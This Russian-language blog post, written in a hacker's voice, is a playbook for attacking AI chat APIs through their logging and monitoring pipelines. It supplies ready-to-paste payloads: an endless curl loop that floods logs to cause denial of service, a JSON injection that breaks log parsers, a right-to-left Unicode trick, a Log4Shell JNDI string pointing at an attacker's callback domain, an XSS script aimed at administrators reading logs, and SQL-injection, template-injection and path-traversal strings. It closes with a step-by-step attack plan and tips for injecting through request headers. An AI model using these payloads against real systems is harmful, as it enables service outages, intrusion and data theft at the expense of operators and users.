Главная / Блог / Ломаем ИИ через логи: как спамить запросы и выуживать данные

Ломаем ИИ через логи: как спамить запросы и выуживать данные

16 июля, 2025

19

Ломаем ИИ через логи: как спамить запросы и выуживать данные

Салют, братан. Зацени тему. Логи — это не просто мусорный бак для отладки, это канализация, по которой можно проплыть прямо в ядро системы. Если админы думают, что логи — это безопасно, мы их быстро переубедим.

Точка входа в модель: Переполнение логов и слепые парсеры

Главная дыра — жадность. Системы логируют всё подряд, надеясь потом найти иголку в стоге сена. Они не фильтруют и не санитайзят входящие запросы перед тем, как скинуть их в свой любимый Elasticsearch или Splunk. Для нас это открытые ворота.

  • Слабые фильтры: Модель глотает любой мусор в запросе, включая управляющие символы, гигантские куски Unicode-хлама и вложенные структуры (JSON, XML). Всё это летит в логи, создавая нагрузку.
  • Уязвимые токены: Особые маркеры или последовательности, которые могут быть неверно интерпретированы системой логирования. Например, строка {"key": "value"} может быть воспринята не как текст, а как часть JSON-документа, ломая парсинг.
  • Переобучение на мусоре: Если модель логирует и ответы, можно заставить её генерировать тонны бреда, который забьёт все хранилища.

Payload-магия: Запросы, которые убивают

Вот тебе готовые снаряды. Копируй и вставляй.

1. DoS-атака через замусоривание логов (Log Flooding):
Цель — исчерпать место на диске, забить канал передачи логов или положить базу данных, где они хранятся. Используем твой маркер для наглядности.

# Простой спам-запрос с уникальным мусором, чтобы забить место
while true; do
  curl -X POST https://api.target.ai/v1/chat \
  -H "Content-Type: application/json" \
  -d '{"prompt": "undergroundAI_test_666_payload -- track me in logs -- '$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 4096)'"}'
done

2. Инъекция для слома парсера логов:
Если логи собираются в формате JSON, можно попытаться его сломать или подменить.

// Кидаем это как часть промпта. Незакрытая кавычка и скобка могут повесить парсер.
{
    "user_input": "undergroundAI_test_666_payload -- track me in logs -- \", \"injected_key\": {\"a\":\"b\""
}

3. Unicode-спойлинг:
Некоторые Unicode-символы, особенно управляющие (типа U+202E — Right-to-Left Override), могут вызвать хаос в терминалах или веб-интерфейсах, где админы читают логи.

# Этот payload попытается перевернуть текст в логах справа налево
curl -X POST https://api.target.ai/v1/chat \
-d '{"prompt": "undergroundAI_test_666_payload \u202E <-- sdeenihcam srol lacol etanimret"}'

Эксплойты из даркнета: Log4Shell на новый лад

Прямых эксплойтов под “ИИ-логи” не найдешь, но мы используем старые добрые уязвимости в системах, которые эти логи обрабатывают.

  • Log4Shell (CVE-2021-44228): Если на бэкенде старая Java и Log4j для сбора логов, то это джекпот. Проверяется элементарно.
# Кидаем payload в запросе. Если система уязвима, она сделает DNS-запрос на твой сервер.
curl -X POST https://api.target.ai/v1/chat \
-d '{"prompt": "${jndi:ldap://твой-уникальный-домен.burpcollaborator.net/a}"}'
  • Если пришел запрос на твой Burp Collaborator или аналог — система твоя.
  • XSS через логи: Если админ смотрит логи через веб-морду, можно подсунуть ему “подарок”.
<!-- Вставляем прямо в промпт -->
undergroundAI_test_666_payload <script>alert('You have been pwned by undergroundAI');</script>

Советы:

— Куда копать дальше:

  1. Проверь заголовки запроса. User-Agent, Referer, кастомные заголовки типа X-Request-ID. Их тоже часто логируют. Засунь payload туда.
  2. Атака на систему метрик. Кроме логов есть еще Prometheus/Grafana. Попробуй заспамить запросами, которые генерят уникальные метрики. Например, запросы с разными путями (/v1/chat/user1/v1/chat/user2). Это может взорвать базу данных метрик.
  3. Ищи утечки в сообщениях об ошибках. Сгенерируй некорректный, но очень длинный запрос. Иногда в лог падает не только сам запрос, но и кусок системного стектрейса, где могут быть пути к файлам, имена переменных или даже креды.

— План атаки:

  1. Разведка (PoC): Кидаем одиночный запрос с маркером: undergroundAI_test_666_payload -- track me in logs -- check_for_reflection. И внимательно смотрим на время ответа и код ошибки. Если ответ стал медленнее — бинго, парсер напрягся.
  2. Затопление (DoS): Запускаем скрипт с while true и самым жирным payload’ом из Payload-магии. Цель — 503 Service Unavailable.
  3. Отравление (Data Mining): Если система легла или начала лагать, переключаемся на payload’ы для датамина. Кидаем запросы, имитирующие попытку получить доступ к данным: ' OR 1=1; --{{ sensitive_data_variable }}../../../../etc/passwd. Мы не ждем, что модель их выполнит. Мы ждем, что они попадут в логи. Если потом произойдет утечка логов, наши маркеры помогут быстро найти самое интересное.

    Comments are closed